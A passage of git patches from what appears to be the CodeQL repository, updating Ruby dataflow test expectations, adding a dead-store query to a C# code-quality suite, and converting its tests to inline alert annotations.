provenance | | | instance_variables.rb:70:16:70:24 | call to taint | instance_variables.rb:70:1:70:4 | [post] foo3 : Foo [@field] | provenance | | | instance_variables.rb:71:6:71:9 | foo3 : Foo [@field] | instance_variables.rb:71:6:71:15 | call to field | provenance | | -| instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | provenance | | -| instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | instance_variables.rb:84:6:84:9 | foo5 : Foo [@field] | provenance | | +| instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | provenance | | +| instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | instance_variables.rb:84:6:84:9 | foo5 : Foo [@field] | provenance | | | instance_variables.rb:78:18:78:26 | call to taint | captured_variables.rb:57:19:57:19 | x | provenance | | | instance_variables.rb:78:18:78:26 | call to taint | instance_variables.rb:10:19:10:19 | x | provenance | | -| instance_variables.rb:78:18:78:26 | call to taint | instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | provenance | | +| instance_variables.rb:78:18:78:26 | call to taint | instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | provenance | | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | instance_variables.rb:79:6:79:19 | call to get_field | provenance | | -| instance_variables.rb:82:15:82:18 | [post] foo6 : Foo [@field] | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | provenance | | +| instance_variables.rb:82:1:82:20 | [post] ( ... ) : Foo [@field] | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | provenance | | | instance_variables.rb:82:32:82:40 | call to taint | captured_variables.rb:57:19:57:19 | x | provenance | | | instance_variables.rb:82:32:82:40 | call to taint | instance_variables.rb:10:19:10:19 | x | provenance | | -| instance_variables.rb:82:32:82:40 | call to taint | instance_variables.rb:82:15:82:18 | [post] foo6 : Foo [@field] | provenance | | +| instance_variables.rb:82:32:82:40 | call to taint | instance_variables.rb:82:1:82:20 | [post] ( ... ) : Foo [@field] | provenance | | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | instance_variables.rb:83:6:83:19 | call to get_field | provenance | | @@ -218,24 +218,22 @@ edges | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | instance_variables.rb:85:6:85:19 | call to get_field | provenance | | -| instance_variables.rb:89:15:89:18 | [post] foo7 : Foo [@field] | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | provenance | | -| instance_variables.rb:89:25:89:28 | [post] foo8 : Foo [@field] | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | provenance | | +| instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | provenance | | +| instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | provenance | | | instance_variables.rb:89:45:89:53 | call to taint | captured_variables.rb:57:19:57:19 | x | provenance | | | instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:10:19:10:19 | x | provenance | | -| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:89:15:89:18 | [post] foo7 : Foo [@field] | provenance | | -| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:89:25:89:28 | [post] foo8 : Foo [@field] | provenance | | +| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | provenance | | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | instance_variables.rb:90:6:90:19 | call to get_field | provenance | | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | instance_variables.rb:91:6:91:19 | call to get_field | provenance | | -| instance_variables.rb:95:22:95:25 | [post] foo9 : Foo [@field] | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | provenance | | -| instance_variables.rb:95:32:95:36 | [post] foo10 : Foo [@field] | instance_variables.rb:97:6:97:10 | foo10 : Foo [@field] | provenance | | +| instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | provenance | | +| instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | instance_variables.rb:97:6:97:10 | foo10 : Foo [@field] | provenance | | | instance_variables.rb:95:53:95:61 | call to taint | captured_variables.rb:57:19:57:19 | x | provenance | | | instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:10:19:10:19 | x | provenance | | -| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:95:22:95:25 | [post] foo9 : Foo [@field] | provenance | | -| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:95:32:95:36 | [post] foo10 : Foo [@field] | provenance | | +| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | provenance | | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | instance_variables.rb:96:6:96:19 | call to get_field | provenance | | @@ -243,8 +241,8 @@ edges | instance_variables.rb:97:6:97:10 | foo10 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:97:6:97:10 | foo10 : Foo [@field] | instance_variables.rb:97:6:97:20 | call to get_field | provenance | | | instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | instance_variables.rb:104:14:104:18 | [post] foo11 : Foo [@field] | provenance | | -| instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | instance_variables.rb:108:15:108:19 | [post] foo12 : Foo [@field] | provenance | | -| instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | instance_variables.rb:113:22:113:26 | [post] foo13 : Foo [@field] | provenance | | +| instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | instance_variables.rb:108:14:108:20 | [post] ( ... ) : Foo [@field] | provenance | | +| instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | instance_variables.rb:113:14:113:26 | [post] ... = ... : Foo [@field] | provenance | | | instance_variables.rb:100:5:100:5 | [post] x : Foo [@field] | instance_variables.rb:99:18:99:18 | x [Return] : Foo [@field] | provenance | | | instance_variables.rb:100:17:100:25 | call to taint | captured_variables.rb:57:19:57:19 | x | provenance | | | instance_variables.rb:100:17:100:25 | call to taint | instance_variables.rb:10:19:10:19 | x | provenance | | @@ -253,11 +251,11 @@ edges | instance_variables.rb:105:6:105:10 | foo11 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:105:6:105:10 | foo11 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:105:6:105:10 | foo11 : Foo [@field] | instance_variables.rb:105:6:105:20 | call to get_field | provenance | | -| instance_variables.rb:108:15:108:19 | [post] foo12 : Foo [@field] | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | provenance | | +| instance_variables.rb:108:14:108:20 | [post] ( ... ) : Foo [@field] | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | provenance | | | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | instance_variables.rb:109:6:109:20 | call to get_field | provenance | | -| instance_variables.rb:113:22:113:26 | [post] foo13 : Foo [@field] | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | provenance | | +| instance_variables.rb:113:14:113:26 | [post] ... = ... : Foo [@field] | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | provenance | | | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | provenance | | | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | instance_variables.rb:114:6:114:20 | call to get_field | provenance | | @@ -475,11 +473,11 @@ nodes | instance_variables.rb:70:16:70:24 | call to taint | semmle.label | call to taint | | instance_variables.rb:71:6:71:9 | foo3 : Foo [@field] | semmle.label | foo3 : Foo [@field] | | instance_variables.rb:71:6:71:15 | call to field | semmle.label | call to field | -| instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | semmle.label | [post] foo5 : Foo [@field] | +| instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | semmle.label | [post] ( ... ) : Foo [@field] | | instance_variables.rb:78:18:78:26 | call to taint | semmle.label | call to taint | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | semmle.label | foo5 : Foo [@field] | | instance_variables.rb:79:6:79:19 | call to get_field | semmle.label | call to get_field | -| instance_variables.rb:82:15:82:18 | [post] foo6 : Foo [@field] | semmle.label | [post] foo6 : Foo [@field] | +| instance_variables.rb:82:1:82:20 | [post] ( ... ) : Foo [@field] | semmle.label | [post] ( ... ) : Foo [@field] | | instance_variables.rb:82:32:82:40 | call to taint | semmle.label | call to taint | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | semmle.label | foo3 : Foo [@field] | | instance_variables.rb:83:6:83:19 | call to get_field | semmle.label | call to get_field | @@ -487,15 +485,13 @@ nodes | instance_variables.rb:84:6:84:19 | call to get_field | semmle.label | call to get_field | | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | semmle.label | foo6 : Foo [@field] | | instance_variables.rb:85:6:85:19 | call to get_field | semmle.label | call to get_field | -| instance_variables.rb:89:15:89:18 | [post] foo7 : Foo [@field] | semmle.label | [post] foo7 : Foo [@field] | -| instance_variables.rb:89:25:89:28 | [post] foo8 : Foo [@field] | semmle.label | [post] foo8 : Foo [@field] | +| instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | semmle.label | [post] ( ... ) : Foo [@field] | | instance_variables.rb:89:45:89:53 | call to taint | semmle.label | call to taint | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | semmle.label | foo7 : Foo [@field] | | instance_variables.rb:90:6:90:19 | call to get_field | semmle.label | call to get_field | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | semmle.label | foo8 : Foo [@field] | | instance_variables.rb:91:6:91:19 | call to get_field | semmle.label | call to get_field | -| instance_variables.rb:95:22:95:25 | [post] foo9 : Foo [@field] | semmle.label | [post] foo9 : Foo [@field] | -| instance_variables.rb:95:32:95:36 | [post] foo10 : Foo [@field] | semmle.label | [post] foo10 : Foo [@field] | +| instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | semmle.label | [post] ( ... ) : Foo [@field] | | instance_variables.rb:95:53:95:61 | call to taint | semmle.label | call to taint | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | semmle.label | foo9 : Foo [@field] | | instance_variables.rb:96:6:96:19 | call to get_field | semmle.label | call to get_field | @@ -507,10 +503,10 @@ nodes | instance_variables.rb:104:14:104:18 | [post] foo11 : Foo [@field] | semmle.label | [post] foo11 : Foo [@field] | | instance_variables.rb:105:6:105:10 | foo11 : Foo [@field] | semmle.label | foo11 : Foo [@field] | | instance_variables.rb:105:6:105:20 | call to get_field | semmle.label | call to get_field | -| instance_variables.rb:108:15:108:19 | [post] foo12 : Foo [@field] | semmle.label | [post] foo12 : Foo [@field] | +| instance_variables.rb:108:14:108:20 | [post] ( ... ) : Foo [@field] | semmle.label | [post] ( ... ) : Foo [@field] | | instance_variables.rb:109:6:109:10 | foo12 : Foo [@field] | semmle.label | foo12 : Foo [@field] | | instance_variables.rb:109:6:109:20 | call to get_field | semmle.label | call to get_field | -| instance_variables.rb:113:22:113:26 | [post] foo13 : Foo [@field] | semmle.label | [post] foo13 : Foo [@field] | +| instance_variables.rb:113:14:113:26 | [post] ... = ... : Foo [@field] | semmle.label | [post] ... = ... : Foo [@field] | | instance_variables.rb:114:6:114:10 | foo13 : Foo [@field] | semmle.label | foo13 : Foo [@field] | | instance_variables.rb:114:6:114:20 | call to get_field | semmle.label | call to get_field | | instance_variables.rb:116:1:116:5 | foo15 : Foo [@field] | semmle.label | foo15 : Foo [@field] | @@ -565,30 +561,26 @@ subpaths | instance_variables.rb:67:6:67:9 | foo2 [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:67:6:67:19 | call to get_field | | instance_variables.rb:70:16:70:24 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:70:1:70:4 | [post] foo3 : Foo [@field] | | instance_variables.rb:70:16:70:24 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:70:1:70:4 | [post] foo3 : Foo [@field] | -| instance_variables.rb:78:18:78:26 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | -| instance_variables.rb:78:18:78:26 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:78:2:78:5 | [post] foo5 : Foo [@field] | +| instance_variables.rb:78:18:78:26 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | +| instance_variables.rb:78:18:78:26 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:78:1:78:6 | [post] ( ... ) : Foo [@field] | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:79:6:79:19 | call to get_field | | instance_variables.rb:79:6:79:9 | foo5 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:79:6:79:19 | call to get_field | -| instance_variables.rb:82:32:82:40 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:82:15:82:18 | [post] foo6 : Foo [@field] | -| instance_variables.rb:82:32:82:40 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:82:15:82:18 | [post] foo6 : Foo [@field] | +| instance_variables.rb:82:32:82:40 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:82:1:82:20 | [post] ( ... ) : Foo [@field] | +| instance_variables.rb:82:32:82:40 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:82:1:82:20 | [post] ( ... ) : Foo [@field] | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:83:6:83:19 | call to get_field | | instance_variables.rb:83:6:83:9 | foo3 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:83:6:83:19 | call to get_field | | instance_variables.rb:84:6:84:9 | foo5 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:84:6:84:19 | call to get_field | | instance_variables.rb:84:6:84:9 | foo5 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:84:6:84:19 | call to get_field | | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:85:6:85:19 | call to get_field | | instance_variables.rb:85:6:85:9 | foo6 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:85:6:85:19 | call to get_field | -| instance_variables.rb:89:45:89:53 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:15:89:18 | [post] foo7 : Foo [@field] | -| instance_variables.rb:89:45:89:53 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:25:89:28 | [post] foo8 : Foo [@field] | -| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:15:89:18 | [post] foo7 : Foo [@field] | -| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:25:89:28 | [post] foo8 : Foo [@field] | +| instance_variables.rb:89:45:89:53 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | +| instance_variables.rb:89:45:89:53 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:89:1:89:33 | [post] ( ... ) : Foo [@field] | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:90:6:90:19 | call to get_field | | instance_variables.rb:90:6:90:9 | foo7 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:90:6:90:19 | call to get_field | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:91:6:91:19 | call to get_field | | instance_variables.rb:91:6:91:9 | foo8 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:91:6:91:19 | call to get_field | -| instance_variables.rb:95:53:95:61 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:22:95:25 | [post] foo9 : Foo [@field] | -| instance_variables.rb:95:53:95:61 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:32:95:36 | [post] foo10 : Foo [@field] | -| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:22:95:25 | [post] foo9 : Foo [@field] | -| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:32:95:36 | [post] foo10 : Foo [@field] | +| instance_variables.rb:95:53:95:61 | call to taint | captured_variables.rb:57:19:57:19 | x | captured_variables.rb:57:5:59:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | +| instance_variables.rb:95:53:95:61 | call to taint | instance_variables.rb:10:19:10:19 | x | instance_variables.rb:10:5:12:7 | self in set_field [Return] : Foo [@field] | instance_variables.rb:95:1:95:41 | [post] ( ... ) : Foo [@field] | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:96:6:96:19 | call to get_field | | instance_variables.rb:96:6:96:9 | foo9 : Foo [@field] | instance_variables.rb:13:5:15:7 | self in get_field : Foo [@field] | instance_variables.rb:14:9:14:21 | return | instance_variables.rb:96:6:96:19 | call to get_field | | instance_variables.rb:97:6:97:10 | foo10 : Foo [@field] | captured_variables.rb:60:5:62:7 | self in get_field : Foo [@field] | captured_variables.rb:61:9:61:21 | return | instance_variables.rb:97:6:97:20 | call to get_field | diff --git a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected index 488f51a3d51..7122b4c0ae2 100644 --- a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected +++ b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected @@ -2910,6 +2910,8 @@ | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | +| local_dataflow.rb:141:19:141:37 | [post] [false] ( ... ) | local_dataflow.rb:141:20:141:36 | [post] [false] ... && ... | +| local_dataflow.rb:141:19:141:37 | [post] [true] ( ... ) | local_dataflow.rb:141:20:141:36 | [post] [true] ... && ... | | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | diff --git a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected index 208a012ff65..4fa46d163b4 100644 --- a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected +++ b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected @@ -3405,6 +3405,8 @@ | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | +| local_dataflow.rb:141:19:141:37 | [post] [false] ( ... ) | local_dataflow.rb:141:20:141:36 | [post] [false] ... && ... | +| local_dataflow.rb:141:19:141:37 | [post] [true] ( ... ) | local_dataflow.rb:141:20:141:36 | [post] [true] ... && ... | | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | From 49ecff3292c9cad2ffc6101f721942d8907cc2be Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 13 Mar 2025 16:32:37 +0100 Subject: [PATCH 275/282] C#: Add cs/useless-assignment-to-local to the CCR suite. --- csharp/ql/src/codeql-suites/csharp-code-quality.qls | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/src/codeql-suites/csharp-code-quality.qls b/csharp/ql/src/codeql-suites/csharp-code-quality.qls index b7b53377381..a7cfd44d734 100644 --- a/csharp/ql/src/codeql-suites/csharp-code-quality.qls +++ b/csharp/ql/src/codeql-suites/csharp-code-quality.qls @@ -12,3 +12,4 @@ - cs/constant-condition - cs/useless-gethashcode-call - cs/non-short-circuit + - cs/useless-assignment-to-local From 2b88600f0fb6680d7f8e3f0d82c825753f49d0fa Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 14 Mar 2025 15:19:09 +0100 Subject: [PATCH 276/282] C#: Re-factor cs/useless-assignment-to-local tests to use inline test framework. --- .../DeadStoreOfLocal/DeadStoreOfLocal.cs | 50 +++++++++---------- .../DeadStoreOfLocal/DeadStoreOfLocal.qlref | 3 +- .../DeadStoreOfLocal/DeadStoreOfLocalBad.cs | 10 ++-- 3 files changed, 32 insertions(+), 31 deletions(-) diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs index 941981f6d6c..1b40bf9c3d7 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs @@ -9,14 +9,14 @@ public class DeadStoreOfLocal public int M1() { - int x = M2(); // BAD + int x = M2(); // $ Alert return (x = 1) + x; // GOOD } public int M2() { int x = 1; // GOOD - return x + (x = 1); // BAD + return x + (x = 1); // $ Alert } public int M3() @@ -41,19 +41,19 @@ public class DeadStoreOfLocal public void M5() { - int x = M3(); // BAD + int x = M3(); // $ Alert } public void M6() { int x = 42; - x += 1; // BAD + x += 1; // $ Alert } public void M7() { int x = 42; - x++; // BAD + x++; // $ Alert } public IEnumerable M8(IEnumerable source) @@ -79,8 +79,8 @@ public class DeadStoreOfLocal public void M10(IEnumerable source) { - foreach (var val in source) - { // BAD + foreach (var val in source) // $ Alert + { } } } @@ -98,10 +98,10 @@ public abstract class ExceptionsFlow message = "Unsuccessful completion"; // GOOD: Used in finally Process(); info2 = "Finishing"; // GOOD: Used in exception handler - extra = "Dead store here"; // BAD: Dead store + extra = "Dead store here"; // $ Alert Dead store Process(); message = "Successful completion"; // GOOD: Used in finally - info1 = "Used in handler"; // BAD: Used in handler, but not a reachable handler + info1 = "Used in handler"; // $ Alert Used in handler, but not a reachable handler } catch (SystemException ex) { @@ -139,7 +139,7 @@ public abstract class ExceptionsFlow { Process(); } - catch (Exception ex) // BAD + catch (Exception ex) // $ Alert { Console.WriteLine("Stage " + stage); stage = 3; // GOOD: Used in finally @@ -157,7 +157,7 @@ public class OutParam public void Test() { int x; - Fn(out x); // BAD + Fn(out x); // Missing Alert Fn(out _); // GOOD } @@ -194,7 +194,7 @@ public class Captured void M2() { - var x = M6(); // BAD [FALSE NEGATIVE] + var x = M6(); // Missing Alert Action a = () => { x = 1; // GOOD @@ -208,7 +208,7 @@ public class Captured int x; Action a = () => { - x = 1; // BAD [FALSE NEGATIVE] + x = 1; // Missing Alert }; a(); } @@ -230,7 +230,7 @@ public class Captured void M5() { - int x = 0; // BAD: NOT DETECTED + int x = 0; // Missing Alert. Action a = () => { x = 1; // GOOD @@ -243,14 +243,14 @@ public class Captured { fn(() => { - int y = M6(); // BAD + int y = M6(); // $ Alert return (y = 1) + y; // GOOD }); int captured = 0; // GOOD: Variable captured variable fn(() => { return captured; }); - return captured = 1; // BAD: NOT DETECTED + return captured = 1; // Missing Alert. } void M7() @@ -258,7 +258,7 @@ public class Captured var y = 12; // GOOD: Not a dead store (used in delegate) fn(() => { - var x = y; // BAD: Dead store in lambda + var x = y; // $ Alert Dead store in lambda return 0; }); } @@ -297,8 +297,8 @@ class Patterns { // GOOD Console.WriteLine($"int {i1}"); } - else if (o is var v1) - { // BAD + else if (o is var v1) // $ Alert + { } switch (o) @@ -311,7 +311,7 @@ class Patterns case int i3: // GOOD Console.WriteLine($"int {i3}"); break; - case var v2: // BAD + case var v2: // $ Alert break; default: Console.WriteLine("Something else"); @@ -328,7 +328,7 @@ class 